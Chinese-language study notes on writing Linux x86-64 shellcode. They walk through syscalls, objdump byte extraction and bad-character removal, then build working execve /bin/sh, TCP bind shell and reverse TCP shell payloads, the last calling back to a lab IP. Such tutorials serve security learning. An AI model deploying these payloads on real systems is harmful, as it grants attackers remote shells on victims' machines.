学习自:《Penetration Testing with Shellcode》
基本过程是首先使用汇编通过系统调用的方式实现程序功能,编译成可执行文件,然后使用 objdump 进行机器码提取

先看一个汇编通过系统调用写 Hello World 的例子
要输出一个 hello world,可以通过 write 函数来实现,通过下面的方法查找 write 函数的系统调用号

找系统调用号

我用的 ubuntu 16.04 是这俩文件(找出来的是十进制的)
cat /usr/include/asm/unistd_32.h | grep write
cat /usr/include/asm/unistd_64.h | grep write

  1. yichen@ubuntu:~$ cat /usr/include/asm/unistd_64.h | grep write
  2. #define __NR_write 1
  3. #define __NR_pwrite64 18
  4. #define __NR_writev 20
  5. #define __NR_pwritev 296
  6. #define __NR_process_vm_writev 311

rax 是存放系统调用号的,这里就应该是 1

编写汇编程序

使用 man 2 write 可以找到 write 函数的参数
ssize_t write(int fd, const void *buf, size_t count);

第一个参数是三种输出模式

0 1 2
stdin stdout stderr
标准输入 标准输出 标准错误

第二个参数是字符串的指针,第三个参数是输出的字数
而 64 位的程序,寄存器传参:rdi, rsi, rdx, rcx, r8, r9 剩下的才用栈
所以 rdi 应该是 1,rsi 应该是字符串的地址,rdx 应该是长度

  1. global _start
  2. section .text
  3. _start:
  4. mov rax, 1 ;设置rax寄存器为write的系统调用号
  5. mov rdi, 1 ;设置rdiwrite的第一个参数
  6. mov rsi, hello_world ;设置rsiwrite的第二个参数
  7. mov rdx, length ;设置rdxwrite的第三个参数
  8. syscall ;调用syscall
  9. section .data
  10. hello_world: db 'hello world',0xa ;字符串hello world以及换行
  11. length: equ $-hello_world ;获取字符串长度

把代码保存为 hello-world.asm 然后汇编、链接
应该会这样显示:

  1. yichen@ubuntu:~$ nasm -felf64 hello-world.asm -o hello-world.o
  2. yichen@ubuntu:~$ ld hello-world.o -o hello-world
  3. yichen@ubuntu:~$ ./hello-world
  4. hello world
  5. 段错误 (核心已转储)

因为我们还没有让他正常退出,在后面 exit 的 syscall,让他正常退出即可

  1. mov rax,60
  2. mov rdi,0
  3. syscall

提取shellcode

使用 objdump 提取 shellcode,这一长串的魔法般的正则我就不解释了我也不会

  1. objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
  1. yichen@ubuntu:~$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
  2. \xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a

使用shellcode

  1. #include<stdio.h>
  2. #include<string.h>
  3. unsigned char code[]="\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a";
  4. int main(){
  5. printf("shellcode length:%d\n",(int)strlen(code));
  6. int (*ret)()=(int(*)())code;
  7. ret();
  8. }

编译的时候需要关掉栈不可执行,当你去执行的时候会发现出错了

  1. yichen@ubuntu:~$ gcc -z execstack -o test 1.c
  2. yichen@ubuntu:~$ ./test
  3. shellcode length:2
  4. t

因为 shellcode 中存在一些 \x00,我们称为:bad character,它会使字符串截断,就没有后面什么事情了,所以要想办法消除这些 bad character

bad character 列表
00 \0 null
0A \n 回车换行
FF \f 换页
0D \r 回车

消除bad character

来看一下这些 bad character 是怎么形成的

  1. yichen@ubuntu:~$ objdump -d -M intel hello-world
  2. hello-world 文件格式 elf64-x86-64
  3. Disassembly of section .text:
  4. 00000000004000b0 <_start>:
  5. 4000b0: b8 01 00 00 00 mov eax,0x1
  6. 4000b5: bf 01 00 00 00 mov edi,0x1
  7. 4000ba: 48 be d8 00 60 00 00 movabs rsi,0x6000d8
  8. 4000c1: 00 00 00
  9. 4000c4: ba 0c 00 00 00 mov edx,0xc
  10. 4000c9: 0f 05 syscall
  11. 4000cb: b8 3c 00 00 00 mov eax,0x3c
  12. 4000d0: bf 00 00 00 00 mov edi,0x0
  13. 4000d5: 0f 05 syscall

针对这种的 mov eax,0x1,可以使用对寄存器的一部分赋值实现,比如:mov al,0x1
还可以通过 xor rax,rax 先把 rax 置为 0,然后 add rax,0x1 实现

看一下效果:5、6、7 行已经没有 bad character 了

  1. yichen@ubuntu:~$ objdump -d -M intel hello-world
  2. hello-world 文件格式 elf64-x86-64
  3. Disassembly of section .text:
  4. 00000000004000b0 <_start>:
  5. 4000b0: b0 01 mov al,0x1
  6. 4000b2: 48 31 ff xor rdi,rdi
  7. 4000b5: 48 83 c7 01 add rdi,0x1
  8. 4000b9: 48 be d8 00 60 00 00 movabs rsi,0x6000d8
  9. 4000c0: 00 00 00
  10. 4000c3: ba 0c 00 00 00 mov edx,0xc
  11. 4000c8: 0f 05 syscall
  12. 4000ca: b8 3c 00 00 00 mov eax,0x3c
  13. 4000cf: bf 00 00 00 00 mov edi,0x0
  14. 4000d4: 0f 05 syscall

还有就是地址的问题,下面有几种方法解决:

relative address technique

通过 rel 相对 RIP 偏移找到变量的位置,等到程序执行的时候会使用 rip 减去与 hello_world 的差值,从而获得 hello_world 在内存中的位置

  1. global _start
  2. section .text
  3. _start:
  4. jmp code
  5. hello_world:db 'hello world',0xa
  6. code:
  7. mov al,1
  8. xor rdi,rdi
  9. add rdi,1
  10. lea rsi,[rel hello_world]
  11. xor rdx,rdx
  12. add rdx,12
  13. syscall
  14. xor rax,rax
  15. add rax,60
  16. xor rdi,rdi
  17. syscall

jmp-call technique

通过在字符串前面 call 把字符串的地址压栈,然后 pop 获取

  1. global _start
  2. section .text
  3. _start:
  4. jmp string ;首先会跳转到 string
  5. code:
  6. pop rsi ;此时可以把压在栈上的hello_world的地址获取到
  7. mov al,1
  8. xor rdi,rdi
  9. add rdi,1
  10. xor rdx,rdx
  11. add rdx,12
  12. syscall
  13. xor rax,rax
  14. add rax,60
  15. xor rdi,rdi
  16. syscall
  17. string:
  18. call code ;call会把返回地址压栈,然后执行code的代码
  19. hello_world:db 'hello world',0xa

stack technique

借助栈来存放,需要提前设置好字符串的十六进制逆序,用python的string[::-1].encode('hex')

  1. >>> string = "hello world\n"
  2. >>> string[::-1].encode('hex')
  3. '0a646c726f77206f6c6c6568'

把需要的内容放在栈上,通过 rsp 来获得指向内容的指针(push 只能放四字节?)

  1. global _start
  2. section .text
  3. _start:
  4. xor rax,rax
  5. add rax,1
  6. mov rdi,rax
  7. push 0x0a646c72
  8. mov rbx,0x6f77206f6c6c6568
  9. push rbx
  10. mov rsi,rsp ;rsp就是栈顶的地址,也就是字符串在栈上的地址
  11. xor rdx,rdx
  12. add rdx,12
  13. syscall
  14. xor rax,rax
  15. add rax,60
  16. xor rdi,rdi
  17. syscall

用execve写个shell

学会了这些基本的消除 bad character 的方法之后来写个真正的 shellcode 试试 :::success 64 位,寄存器传参:rdi, rsi, rdx, rcx, r8, r9 剩下的才用栈 :::

一个可以获得 shell 的 C 语言代码如下

  1. char *const argv[]={"/bin/sh",NULL};
  2. execve("/bin/sh",argv,NULL);

不知道为啥,之前学 pwn 的时候只需要第一个参数就可以了,但是这里要两个呜呜呜

想办法放到对应的寄存器就行
/bin/sh 参数用 python 生成逆序的十六进制,这里多加一个 / 用来占空,防止出现 0x00

  1. >>> string = "//bin/sh"
  2. >>> string[::-1].encode('hex')
  3. '68732f6e69622f2f'

一开始往栈上压入一个 0x00,用来截断 /bin/sh,顺便把第三个参数 rdx 的 NULL 设置好
xor rax,rax
push rax
mov rdx,rsp
用 stack technique 把这个参数压到栈上,然后给 rsp 这样就设置好了第一个参数
mov rbx,0x68732f6e69622f2f
push rbx
mov rdi,rsp
第二个参数是一个指针,所以把 rdi 压栈,获取到指针
push rax ;这里再次 push 的 rax 作为截断
push rdi
mov rsi,rsp
以及系统调用号是 59,最后加一个 syscall
add rax,59
syscall

把提取的 shellcode 放到上面的代码中编译,可以使用,漂亮!~

  1. yichen@ubuntu:~$ gcc -z execstack -o test 1.c
  2. yichen@ubuntu:~$ ./test
  3. shellcode length:32
  4. $ whoami
  5. yichen

TCP bind shell

靶机开启一个端口监听,等待我们去连接,这样的方式容易被防火墙阻断和记录
C 语言代码如下:

  1. #include <sys/socket.h>
  2. #include <sys/types.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <netinet/in.h>
  6. int main(void)
  7. {
  8. int clientfd, sockfd;
  9. int port = 1234; //设置绑定的端口
  10. struct sockaddr_in mysockaddr;
  11. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  12. mysockaddr.sin_family = AF_INET;
  13. mysockaddr.sin_port = htons(port);
  14. mysockaddr.sin_addr.s_addr = INADDR_ANY;
  15. bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
  16. listen(sockfd, 1);
  17. clientfd = accept(sockfd, NULL, NULL);
  18. dup2(clientfd, 0);
  19. dup2(clientfd, 1);
  20. dup2(clientfd, 2);
  21. char * const argv[] = {"sh",NULL, NULL};
  22. execve("/bin/sh", argv, NULL);
  23. return 0;
  24. }

接下来使用 syscall 依次实现这个程序
sockfd = socket(AF_INET, SOCK_STREAM, 0);
查找 socket 的系统调用号是 41

  1. xor rax,rax
  2. add rax,41
  3. xor rdi,rdi
  4. add rdi,2 ;AF_INET2表示
  5. xor rsi,rsi
  6. inc rsi ;SOCK_STREAM1表示
  7. xor rdx,rdx ;第三个参数为0
  8. syscall

函数调用返回值保存在 RAX 寄存器,bind 函数用 sockfd 做参数,可以直接用mov rdi,rax
接下来填充 bind 函数的第二个参数 mysockaddr 结构体,因为后面 bind 调用的时候用的是指针,所以可以压到栈上去,然后拿到指针。应该怎么填充?可以使用 GDB 调试看一下 C 语言程序内存的值(gcc 加上 -g 参数可以直接 b 15 断在代码的第 15 行)

  1. Breakpoint 1, main () at 1.c:15
  2. 15 bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
  3. gdb-peda$ p &mysockaddr
  4. $1 = (struct sockaddr_in *) 0x7fffffffdd30
  5. gdb-peda$ p mysockaddr
  6. $2 = {
  7. sin_family = 0x2,
  8. sin_port = 0xd204,
  9. sin_addr = {
  10. s_addr = 0x0
  11. },
  12. sin_zero = "\000\000\000\000\000\000\000"
  13. }
  14. gdb-peda$ x/4gx 0x7fffffffdd30
  15. 0x7fffffffdd30: 0x00000000d2040002 0x0000000000000000
  16. 0x7fffffffdd40: 0x0000000000400850 0x0000000000400650

可以看到显示的是:两个字节的 sin_family,两个字节的 sin_port,以及八个字节的 sin_addr.s_addr,又因为栈的增长方向是从高地址往低地址的,所以要倒着写

  1. xor rax, rax
  2. push rax ;sin_addr.s_addr
  3. push word 0xd204 ;sin_port
  4. push word 0x02 ;sin_family
  5. mov rsi, rsp

其中 sin_port 的值这样得出来:

  1. >>> import socket
  2. >>> hex(socket.htons(1234))
  3. '0xd204'

构造完成 mysockaddr 结构体后,查找 bind 的调用号是 49,调用

  1. xor rdx, rdx
  2. add rdx, 16 ;bind的第三个参数
  3. xor rax, rax
  4. add rax, 49
  5. syscall

然后是 listen 函数,因为第一个参数还是 rdi 的 sockfd 所以省去一步

  1. xor rax, rax
  2. add rax, 50
  3. xor rsi , rsi
  4. inc rsi
  5. syscall

accept 函数

  1. xor rax , rax
  2. add rax, 43
  3. xor rsi, rsi
  4. xor rdx, rdx
  5. syscall

accept 函数的返回值在 rax,直接给 dup2 函数用

  1. mov rdi, rax
  2. xor rax,rax
  3. add rax, 33
  4. xor rsi, rsi
  5. syscall
  6. xor rax,rax
  7. add rax, 33
  8. inc rsi
  9. syscall
  10. xor rax,rax
  11. add rax, 33
  12. inc rsi
  13. syscall

execve函数直接用上面的就可以了

  1. xor rax, rax
  2. push rax
  3. mov rdx, rsp
  4. mov rbx, 0x68732f6e69622f2f
  5. push rbx
  6. mov rdi, rsp
  7. push rax
  8. push rdi
  9. mov rsi,rsp
  10. add rax, 59
  11. syscall

总的汇编代码

  1. global _start
  2. section .text
  3. _start:
  4. ;Socket syscall
  5. xor rax, rax
  6. add rax, 41
  7. xor rdi, rdi
  8. add rdi, 2
  9. xor rsi, rsi
  10. inc rsi
  11. xor rdx, rdx
  12. syscall
  13. ; Save the sockfd in RDI Register
  14. mov rdi, rax
  15. ;Creating the structure
  16. xor rax, rax
  17. push rax
  18. push word 0xd204
  19. push word 0x02
  20. ;Bind syscall
  21. mov rsi, rsp
  22. xor rdx, rdx
  23. add rdx, 16
  24. xor rax, rax
  25. add rax, 49
  26. syscall
  27. ;Listen syscall
  28. xor rax, rax
  29. add rax, 50
  30. xor rsi , rsi
  31. inc rsi
  32. syscall
  33. ;Accept syscall
  34. xor rax , rax
  35. add rax, 43
  36. xor rsi, rsi
  37. xor rdx, rdx
  38. syscall
  39. ;Store clientfd in RBX register
  40. mov rbx, rax
  41. ;Dup2 syscall to stdin
  42. mov rdi, rbx
  43. xor rax,rax
  44. add rax, 33
  45. xor rsi, rsi
  46. syscall
  47. ;Dup2 syscall to stdout
  48. xor rax,rax
  49. add rax, 33
  50. inc rsi
  51. syscall
  52. ;Dup2 syscall to stderr
  53. xor rax,rax
  54. add rax, 33
  55. inc rsi
  56. syscall
  57. ;Execve syscall with /bin/sh
  58. xor rax, rax
  59. push rax
  60. mov rdx, rsp
  61. mov rbx, 0x68732f6e69622f2f
  62. push rbx
  63. mov rdi, rsp
  64. push rax
  65. push rdi
  66. mov rsi,rsp
  67. add rax, 59
  68. syscall

提取处 shellcode 后放到上面的使用 shellcode 的模板上,编译好运行,通过 netstat -ntlp 可以看到 1234 端口开放,然后 nc 127.0.0.1 1234 就可以获得 shell 了

Reverse TCP shell

这种方法是我们首先在自己的机器上监听一个端口,然后让靶机访问我们,这样不会被防火墙拦截。
先看看 C 语言的代码

  1. #include <sys/socket.h>
  2. #include <sys/types.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <netinet/in.h>
  6. #include <arpa/inet.h>
  7. int main(void)
  8. {
  9. int sockfd;
  10. int port = 1234;
  11. struct sockaddr_in mysockaddr;
  12. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  13. mysockaddr.sin_family = AF_INET;
  14. mysockaddr.sin_port = htons(port);
  15. mysockaddr.sin_addr.s_addr = inet_addr("192.168.238.1");
  16. connect(sockfd, (struct sockaddr *) &mysockaddr,sizeof(mysockaddr));
  17. dup2(sockfd, 0);
  18. dup2(sockfd, 1);
  19. dup2(sockfd, 2);
  20. char * const argv[] = {"/bin/sh", NULL};
  21. execve("/bin/sh", argv, NULL);
  22. return 0;
  23. }

基本差不多,socket 函数

  1. xor rax, rax
  2. add rax, 41
  3. xor rdi, rdi
  4. add rdi, 2 ;AF_INET2表示
  5. xor rsi, rsi
  6. inc rsi ;SOCK_STREAM1表示
  7. xor rdx, rdx ;第三个参数为0
  8. syscall

填充 mysockaddr 结构体
IP 地址的十六进制形式这样获得

  1. >>> import socket
  2. >>> socket.inet_aton('192.168.232.1')[::-1]
  3. '\x01\xe8\xa8\xc0'

也就是 0x01e8a8c0

  1. mov rdi, rax ;sockfd
  2. xor rax, rax
  3. push dword 0x01e8a8c0 ;sin_addr.s_addr
  4. push word 0xd204 ;sin_port
  5. push word 0x02 ;sin_family
  6. mov rsi, rsp
  7. xor rdx, rdx
  8. add rdx, 16
  9. xor rax, rax
  10. add rax, 42
  11. syscall

三个 dup2

  1. xor rax, rax
  2. add rax, 33
  3. xor rsi, rsi
  4. syscall
  5. xor rax, rax
  6. add rax, 33
  7. inc rsi
  8. syscall
  9. xor rax, rax
  10. add rax, 33
  11. inc rsi
  12. syscall

execve

  1. xor rax, rax
  2. push rax
  3. mov rdx, rsp
  4. mov rbx, 0x68732f6e69622f2f
  5. push rbx
  6. mov rdi, rsp
  7. push rax
  8. push rdi
  9. mov rsi,rsp
  10. add rax, 59
  11. syscall